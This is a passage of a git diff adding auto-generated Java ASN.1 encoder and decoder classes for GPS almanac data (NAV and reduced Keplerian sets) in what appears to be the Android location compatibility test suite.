+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getNavAlmaf0();
+ }
+
+ @Override public void setToNewInstance() {
+ setNavAlmaf0ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Almanac_NAVKeplerianSet.navAlmaf0Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "navAlmaf0 : "
+ + getNavAlmaf0().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 10);
+
+ @Override public boolean isExplicitlySet() {
+ return getNavAlmaf1() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getNavAlmaf1();
+ }
+
+ @Override public void setToNewInstance() {
+ setNavAlmaf1ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Almanac_NAVKeplerianSet.navAlmaf1Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "navAlmaf1 : "
+ + getNavAlmaf1().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class navAlmEType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_navAlmEType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public navAlmEType() {
+ super();
+ setValueRange("0", "65535");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_navAlmEType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_navAlmEType != null) {
+ return ImmutableList.of(TAG_navAlmEType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new navAlmEType from encoded stream.
+ */
+ public static navAlmEType fromPerUnaligned(byte[] encodedBytes) {
+ navAlmEType result = new navAlmEType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new navAlmEType from encoded stream.
+ */
+ public static navAlmEType fromPerAligned(byte[] encodedBytes) {
+ navAlmEType result = new navAlmEType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "navAlmEType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class navAlmDeltaIType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_navAlmDeltaIType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public navAlmDeltaIType() {
+ super();
+ setValueRange("-32768", "32767");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_navAlmDeltaIType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_navAlmDeltaIType != null) {
+ return ImmutableList.of(TAG_navAlmDeltaIType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new navAlmDeltaIType from encoded stream.
+ */
+ public static navAlmDeltaIType fromPerUnaligned(byte[] encodedBytes) {
+ navAlmDeltaIType result = new navAlmDeltaIType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new navAlmDeltaIType from encoded stream.
+ */
+ public static navAlmDeltaIType fromPerAligned(byte[] encodedBytes) {
+ navAlmDeltaIType result = new navAlmDeltaIType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "navAlmDeltaIType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class navAlmOMEGADOTType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_navAlmOMEGADOTType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public navAlmOMEGADOTType() {
+ super();
+ setValueRange("-32768", "32767");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_navAlmOMEGADOTType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_navAlmOMEGADOTType != null) {
+ return ImmutableList.of(TAG_navAlmOMEGADOTType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new navAlmOMEGADOTType from encoded stream.
+ */
+ public static navAlmOMEGADOTType fromPerUnaligned(byte[] encodedBytes) {
+ navAlmOMEGADOTType result = new navAlmOMEGADOTType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new navAlmOMEGADOTType from encoded stream.
+ */
+ public static navAlmOMEGADOTType fromPerAligned(byte[] encodedBytes) {
+ navAlmOMEGADOTType result = new navAlmOMEGADOTType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "navAlmOMEGADOTType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class navAlmSVHealthType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_navAlmSVHealthType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public navAlmSVHealthType() {
+ super();
+ setValueRange("0", "255");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_navAlmSVHealthType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_navAlmSVHealthType != null) {
+ return ImmutableList.of(TAG_navAlmSVHealthType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new navAlmSVHealthType from encoded stream.
+ */
+ public static navAlmSVHealthType fromPerUnaligned(byte[] encodedBytes) {
+ navAlmSVHealthType result = new navAlmSVHealthType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new navAlmSVHealthType from encoded stream.
+ */
+ public static navAlmSVHealthType fromPerAligned(byte[] encodedBytes) {
+ navAlmSVHealthType result = new navAlmSVHealthType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "navAlmSVHealthType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class navAlmSqrtAType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_navAlmSqrtAType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public navAlmSqrtAType() {
+ super();
+ setValueRange("0", "16777215");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_navAlmSqrtAType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_navAlmSqrtAType != null) {
+ return ImmutableList.of(TAG_navAlmSqrtAType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new navAlmSqrtAType from encoded stream.
+ */
+ public static navAlmSqrtAType fromPerUnaligned(byte[] encodedBytes) {
+ navAlmSqrtAType result = new navAlmSqrtAType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new navAlmSqrtAType from encoded stream.
+ */
+ public static navAlmSqrtAType fromPerAligned(byte[] encodedBytes) {
+ navAlmSqrtAType result = new navAlmSqrtAType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "navAlmSqrtAType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class navAlmOMEGAoType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_navAlmOMEGAoType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public navAlmOMEGAoType() {
+ super();
+ setValueRange("-8388608", "8388607");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_navAlmOMEGAoType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_navAlmOMEGAoType != null) {
+ return ImmutableList.of(TAG_navAlmOMEGAoType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new navAlmOMEGAoType from encoded stream.
+ */
+ public static navAlmOMEGAoType fromPerUnaligned(byte[] encodedBytes) {
+ navAlmOMEGAoType result = new navAlmOMEGAoType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new navAlmOMEGAoType from encoded stream.
+ */
+ public static navAlmOMEGAoType fromPerAligned(byte[] encodedBytes) {
+ navAlmOMEGAoType result = new navAlmOMEGAoType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "navAlmOMEGAoType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class navAlmOmegaType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_navAlmOmegaType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public navAlmOmegaType() {
+ super();
+ setValueRange("-8388608", "8388607");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_navAlmOmegaType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_navAlmOmegaType != null) {
+ return ImmutableList.of(TAG_navAlmOmegaType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new navAlmOmegaType from encoded stream.
+ */
+ public static navAlmOmegaType fromPerUnaligned(byte[] encodedBytes) {
+ navAlmOmegaType result = new navAlmOmegaType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new navAlmOmegaType from encoded stream.
+ */
+ public static navAlmOmegaType fromPerAligned(byte[] encodedBytes) {
+ navAlmOmegaType result = new navAlmOmegaType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "navAlmOmegaType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class navAlmMoType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_navAlmMoType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public navAlmMoType() {
+ super();
+ setValueRange("-8388608", "8388607");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_navAlmMoType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_navAlmMoType != null) {
+ return ImmutableList.of(TAG_navAlmMoType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new navAlmMoType from encoded stream.
+ */
+ public static navAlmMoType fromPerUnaligned(byte[] encodedBytes) {
+ navAlmMoType result = new navAlmMoType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new navAlmMoType from encoded stream.
+ */
+ public static navAlmMoType fromPerAligned(byte[] encodedBytes) {
+ navAlmMoType result = new navAlmMoType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "navAlmMoType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class navAlmaf0Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_navAlmaf0Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public navAlmaf0Type() {
+ super();
+ setValueRange("-1024", "1023");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_navAlmaf0Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_navAlmaf0Type != null) {
+ return ImmutableList.of(TAG_navAlmaf0Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new navAlmaf0Type from encoded stream.
+ */
+ public static navAlmaf0Type fromPerUnaligned(byte[] encodedBytes) {
+ navAlmaf0Type result = new navAlmaf0Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new navAlmaf0Type from encoded stream.
+ */
+ public static navAlmaf0Type fromPerAligned(byte[] encodedBytes) {
+ navAlmaf0Type result = new navAlmaf0Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "navAlmaf0Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class navAlmaf1Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_navAlmaf1Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public navAlmaf1Type() {
+ super();
+ setValueRange("-1024", "1023");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_navAlmaf1Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_navAlmaf1Type != null) {
+ return ImmutableList.of(TAG_navAlmaf1Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new navAlmaf1Type from encoded stream.
+ */
+ public static navAlmaf1Type fromPerUnaligned(byte[] encodedBytes) {
+ navAlmaf1Type result = new navAlmaf1Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new navAlmaf1Type from encoded stream.
+ */
+ public static navAlmaf1Type fromPerAligned(byte[] encodedBytes) {
+ navAlmaf1Type result = new navAlmaf1Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "navAlmaf1Type = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("Almanac_NAVKeplerianSet = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Almanac_ReducedKeplerianSet.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Almanac_ReducedKeplerianSet.java
new file mode 100755
index 0000000..5409090
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Almanac_ReducedKeplerianSet.java
@@ -0,0 +1,1066 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Boolean;
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class Almanac_ReducedKeplerianSet extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_Almanac_ReducedKeplerianSet
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public Almanac_ReducedKeplerianSet() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_Almanac_ReducedKeplerianSet;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_Almanac_ReducedKeplerianSet != null) {
+ return ImmutableList.of(TAG_Almanac_ReducedKeplerianSet);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new Almanac_ReducedKeplerianSet from encoded stream.
+ */
+ public static Almanac_ReducedKeplerianSet fromPerUnaligned(byte[] encodedBytes) {
+ Almanac_ReducedKeplerianSet result = new Almanac_ReducedKeplerianSet();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new Almanac_ReducedKeplerianSet from encoded stream.
+ */
+ public static Almanac_ReducedKeplerianSet fromPerAligned(byte[] encodedBytes) {
+ Almanac_ReducedKeplerianSet result = new Almanac_ReducedKeplerianSet();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private SVID svID_;
+ public SVID getSvID() {
+ return svID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SVID
+ */
+ public void setSvID(Asn1Object value) {
+ this.svID_ = (SVID) value;
+ }
+ public SVID setSvIDToNewInstance() {
+ svID_ = new SVID();
+ return svID_;
+ }
+
+ private Almanac_ReducedKeplerianSet.redAlmDeltaAType redAlmDeltaA_;
+ public Almanac_ReducedKeplerianSet.redAlmDeltaAType getRedAlmDeltaA() {
+ return redAlmDeltaA_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Almanac_ReducedKeplerianSet.redAlmDeltaAType
+ */
+ public void setRedAlmDeltaA(Asn1Object value) {
+ this.redAlmDeltaA_ = (Almanac_ReducedKeplerianSet.redAlmDeltaAType) value;
+ }
+ public Almanac_ReducedKeplerianSet.redAlmDeltaAType setRedAlmDeltaAToNewInstance() {
+ redAlmDeltaA_ = new Almanac_ReducedKeplerianSet.redAlmDeltaAType();
+ return redAlmDeltaA_;
+ }
+
+ private Almanac_ReducedKeplerianSet.redAlmOmega0Type redAlmOmega0_;
+ public Almanac_ReducedKeplerianSet.redAlmOmega0Type getRedAlmOmega0() {
+ return redAlmOmega0_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Almanac_ReducedKeplerianSet.redAlmOmega0Type
+ */
+ public void setRedAlmOmega0(Asn1Object value) {
+ this.redAlmOmega0_ = (Almanac_ReducedKeplerianSet.redAlmOmega0Type) value;
+ }
+ public Almanac_ReducedKeplerianSet.redAlmOmega0Type setRedAlmOmega0ToNewInstance() {
+ redAlmOmega0_ = new Almanac_ReducedKeplerianSet.redAlmOmega0Type();
+ return redAlmOmega0_;
+ }
+
+ private Almanac_ReducedKeplerianSet.redAlmPhi0Type redAlmPhi0_;
+ public Almanac_ReducedKeplerianSet.redAlmPhi0Type getRedAlmPhi0() {
+ return redAlmPhi0_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Almanac_ReducedKeplerianSet.redAlmPhi0Type
+ */
+ public void setRedAlmPhi0(Asn1Object value) {
+ this.redAlmPhi0_ = (Almanac_ReducedKeplerianSet.redAlmPhi0Type) value;
+ }
+ public Almanac_ReducedKeplerianSet.redAlmPhi0Type setRedAlmPhi0ToNewInstance() {
+ redAlmPhi0_ = new Almanac_ReducedKeplerianSet.redAlmPhi0Type();
+ return redAlmPhi0_;
+ }
+
+ private Almanac_ReducedKeplerianSet.redAlmL1HealthType redAlmL1Health_;
+ public Almanac_ReducedKeplerianSet.redAlmL1HealthType getRedAlmL1Health() {
+ return redAlmL1Health_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Almanac_ReducedKeplerianSet.redAlmL1HealthType
+ */
+ public void setRedAlmL1Health(Asn1Object value) {
+ this.redAlmL1Health_ = (Almanac_ReducedKeplerianSet.redAlmL1HealthType) value;
+ }
+ public Almanac_ReducedKeplerianSet.redAlmL1HealthType setRedAlmL1HealthToNewInstance() {
+ redAlmL1Health_ = new Almanac_ReducedKeplerianSet.redAlmL1HealthType();
+ return redAlmL1Health_;
+ }
+
+ private Almanac_ReducedKeplerianSet.redAlmL2HealthType redAlmL2Health_;
+ public Almanac_ReducedKeplerianSet.redAlmL2HealthType getRedAlmL2Health() {
+ return redAlmL2Health_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Almanac_ReducedKeplerianSet.redAlmL2HealthType
+ */
+ public void setRedAlmL2Health(Asn1Object value) {
+ this.redAlmL2Health_ = (Almanac_ReducedKeplerianSet.redAlmL2HealthType) value;
+ }
+ public Almanac_ReducedKeplerianSet.redAlmL2HealthType setRedAlmL2HealthToNewInstance() {
+ redAlmL2Health_ = new Almanac_ReducedKeplerianSet.redAlmL2HealthType();
+ return redAlmL2Health_;
+ }
+
+ private Almanac_ReducedKeplerianSet.redAlmL5HealthType redAlmL5Health_;
+ public Almanac_ReducedKeplerianSet.redAlmL5HealthType getRedAlmL5Health() {
+ return redAlmL5Health_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Almanac_ReducedKeplerianSet.redAlmL5HealthType
+ */
+ public void setRedAlmL5Health(Asn1Object value) {
+ this.redAlmL5Health_ = (Almanac_ReducedKeplerianSet.redAlmL5HealthType) value;
+ }
+ public Almanac_ReducedKeplerianSet.redAlmL5HealthType setRedAlmL5HealthToNewInstance() {
+ redAlmL5Health_ = new Almanac_ReducedKeplerianSet.redAlmL5HealthType();
+ return redAlmL5Health_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getSvID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSvID();
+ }
+
+ @Override public void setToNewInstance() {
+ setSvIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SVID.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
